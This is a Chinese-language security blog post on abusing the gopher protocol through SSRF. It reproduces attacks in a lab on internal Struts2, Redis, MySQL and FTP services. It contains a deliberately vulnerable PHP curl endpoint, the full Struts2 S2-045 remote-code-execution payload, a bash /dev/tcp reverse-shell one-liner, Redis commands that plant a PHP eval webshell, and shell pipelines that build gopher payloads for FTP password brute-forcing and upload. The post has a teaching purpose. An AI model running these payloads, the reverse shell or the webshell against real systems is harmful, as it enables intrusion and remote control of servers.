gopher 协议在SSRF 中的一些利用

2019-12-28 约 454 字 预计阅读 3 分钟

声明:本文 【gopher 协议在SSRF 中的一些利用】 由作者 l3anma 于 2019-12-28 11:44:20 首发 先知社区 曾经 浏览数 343 次

感谢 l3anma 的辛苦付出!

gopher 协议

协议简介

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。

协议格式

gopher url 格式为:
gopher://<host>:<port>/<gopher-path>
<port>默认为70。
<gopher-path>其中<gopher-path>格式可以是如下其中的一种</gopher-path>

<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>

整个<gopher-path>部分可以省略,这时候\也可以省略<gophertype>为默认的1。
<gophertype>是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。
<selector>个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符。
<search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。
<gopher+_string>是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。

gopher 协议在ssrf 中的利用

出现ssrf 的地方如果没有对协议、ip、端口等一些东西进行限制,则可以用来探测内网存活的ip 及开放的端口、读取任意文件、利用phar 协议触发反序列化、攻击内网redis/memcache/mysql 及web 应用fastcgi 或其他服务等等。
而gopher 协议在其中占了很重要的角色。

测试代码

java 中的ssrf 漏洞的限制比php 多得的,而且gopher 协议在jdk8 中就被移除了,所以这次测试都是使用如下的php 代码。

<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

攻击内网web 服务

当通过ssrf 发现内网存在着一些比较脆弱的web 服务,比如有存在struts 2漏洞的web 服务,就可以尝试使用gopher 协议把poc 发送过去实现rce,比如下面复现的这个内网struts 2 s2-045漏洞就是通过gopher 协议提交位于header 内的poc 来完成rce。
实验中存在ssrf 漏洞的靶机是192.168.73.150,存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155(假装它们在同一内网)。
通常的s2-045 的poc 如下

GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

对该poc 的空格和一些特殊字符进行url 编码,然后每个回车都编码成%0d%0a包括尾巴行的回车即可用gopher 协议提交。
我为了方便直接把Content-Type后面的poc 全部url 编码了,最后结果如下,需要注意的事在url 中提交ssrf poc的时候得再进行一次url 编码。

这里也可以直接反弹shell,s2-045 使用这条命令可以反弹shell
exec 5<>/dev/tcp/192.168.123.182/7777;cat <&5 |while read line;do $line 2>&5 >&5;done

攻击内网redis

这里攻击的redis 是存在密码的,ssrf 漏洞机器和redis 为同一台,网上很多文章都是使用脚本来完成攻击payload 的生成,个人测试发现并不需要那么麻烦。
写web shell
这个的利用条件是知道web 目录,redis 启动账户有权限往web 目录里写入内容。
普通利用redis 写web shell 过程,是设置了一个key 的值为shell 后通过备份数据库把shell 保存到web 目录,操作如下。

[root@localhost ~]# redis-cli -h 192.168.73.150 -a foo
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.73.150:6379> set shell '<?php eval($_POST[cmd]);?>'
OK
192.168.73.150:6379> config set dir '/usr/local/apache2.4/htdocs'
OK
192.168.73.150:6379> config set dbfilename shell.php
OK
192.168.73.150:6379> save
OK
192.168.73.150:6379>

利用gopher 协议则需要现在先在本地利用上述操作复现并抓包下来后,丢到wireshark 里导出原始数据处理成gopher 协议的poc,具体如下。
使用tcpdum 抓包回环网卡lo 的6379 端口的完整包内容写入到a.cap

tcpdump -i lo port 6379 -s 0 -w a.cap

将a.cap 用wireshark 打开找到发送redis 命令的包然后追踪流,以原始数据报错到a.txt

使用如下命令将原始数据a.txt 的内容进行编码,后使用gopher 协议发送到6379 端口

cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'

除了写入web shell 外还可以写ssh 公钥,写crontab 任务等,过程和上面类似。
写ssh 公钥的利用条件是redis 启动用户在目标home 目录下有写入权限,服务器开放了ssh 且可以使用密钥登录,需要注意的是设置key 值得时候要用换行\n隔开,不然写入了也无法解析。

攻击mysql

如果内网存在没有密码的mysql 则也可以使用gopher 协议进行攻击,操作过程和上面类似,在本地操作mysql 交互把数据完整抓包下来编码通过gopher 提交,在与mysql 交互的最后如果不exit gopher 会保持连接需要ctrl+c 才能显示结果。需要注意的是存在ssrf 漏洞的服务系统要和抓包时候与mysql 交互的系统要一样。

攻击内网ftp

ftp 只能通过tcp 连接,gopher 协议支持ftp 操作,利用gopher 可以暴破ftp 的账号密码,暴破完了之后可以尝试上传文件。
本次实验中192.168.73.150 为ssrf 漏洞服务器,192.168.73.130 为内网ftp 服务器。
暴破密码
内网中存在ftp 弱口令或者直接能未授权访问的几率相对较高,下面具体说一下如何使用ssrf +gopher 协议暴破ftp 口令。
第一步先本地模拟一遍访问ftp 的流量。

tcpdump -i lo -s 0 -w a.cap
curl ftp://vsftp:vsftp@127.0.0.1/

然后把发送到21 端口的流量直接以ascii 保存下来,为了增加速度这里面的命令只用留下USER``PASS``QUIT这三条即可。

使用如下命令把保存下来的数据包进行url 编码两次得出poc,然后就可以丢到burp 的intruder 里进行暴破了。

cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

上传文件
ftp 在传输文件时有两条通道,一条命令通道一条数据通道,默认是21 端口为服务端命令通道的端口用于发送连控制接命令 ,20 或大于1023 的随机端口为服务器端数据传输通道端口用于传输文件。
命令通道和传输通道的流量大致如下:

而ftp 的工作模式又分为主动模式和被动模式。
主动模式是从客户端的非特殊端口(n>1023)连接到服务端的21 端口建立命令通道,然后服务端20 端口连接到客户端随机非特殊端口建立传输通道;被动模式是从客户端非特殊端口(n>1023)连接到服务端21 端口建立命令通道,然后再从客户端n+1 端口连接到服务端随机非特殊端口建立传输通道。

主动模式:

命令通道:客户端:非特殊端口 >> 服务端: 21端口
传输通道:客户端:非特殊端口+1 << 服务端: 20端口

被动模式:

命令通道:客户端: 非特殊端口 >> 服务端: 21端口
传输通道:客户端: 非特殊端口+1 >> 服务端: 非特殊端口

本次实验室采用了被动模式,ssrf 服务器向ftp 服务器建立多条命令通道后通过暴破的方式向ftp 服务器的各个端口建立传输通道,从而实现ftp 上传,传输通道的监听等待时间我这里测试是有五分钟,而对于没有开放的端口响应时间几乎没有,而且发越多不重复的建立命令通道的包就会有越多的传输通道被建立能增加暴破的命中率,所以应该是能完成暴破的。具体步骤如下。
先抓包本地lo 网卡,抓包的数据再编码成ssrf gopher payload,然后再进行一次url 编码提交给ssrf 服务器。
抓包本地lo 网卡

tcpdump -i lo -s 0 -w a.cap

我把抓到的tcp stream 直接使用ascii 据保为文件1。
删掉文件1 的末行quit命令,再复制出四个文件,并把stor 命令后的文件名重写为不一样的,ftp 储存时的文件名不一样才能建立多条数据通道。
使用如下命令对每个文件进行gopher 编码,顺便再url 编码出poc。

cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

我总共是弄了5个payload,最后poc 如下

然后在把传输通道的tcp stream 按如上步骤编码成gopher poc,在burp 的intruder 里在把poc 的端口部分加载荷,这里我线程设置的有点多,网络错误不重试。

为了监控整个实验过程的通道建立情况,我特意在ssrf 漏洞服务器和ftp 服务器中写了个小脚本监听相应的网络。

#ftp 服务器端监听脚本
#!/bin/bash
i=0
while true
do
    x=$(netstat -pantu|grep 'vsftp'|grep -v ':21')
    if [ -n "$x" ]
    then
        echo $i && i=$[$i+1]
        echo -e "$x\n"
    fi
done;

开启监听后,把浏览器里准备好的exp 都刷新一遍,然后开启burp intruder 的暴破,以下截图是有两条传输通道建立成功并成功传输了内容的时候(忽略文件名不规律这点)。

开了五条命令通道,但并没有成功建立五条传输通道,不是很明白具体的原因,多次测试下来大多数时候都是只能建立一两条传输通道。
关于gopher 用ftp 主动模式应该会更简便,但不知道是我本机ftp 服务的问题还是ftp 安全策略的原因,我没法在主动模式的时候让ftp 服务器主动连接除了建立命令通道机器外的ip,只能在建立命令通道的机器上使用nc 挂一个文件在端口上,然后使用主动模式让ftp 服务器连接这个端口取内容,鸡肋中的鸡肋,如果有大佬愿意指点一下小弟如何让ftp 服务器主动连接非命令通道机器的ip 小弟感激不尽。

另外关于gopher 的应用应该还有很多,但由于本人基础不扎实时间也比较有限只能先到此为止了,希望能和各位大佬多多探讨,文章有什么不足的地方还望多多指出。

参考链接

https://www.cnblogs.com/xiaohh/p/4789813.html
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.freesoft.org/CIE/RFC/1738/16.htm
https://tools.ietf.org/html/rfc1436
http://ctf.ssleye.com/url.html

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now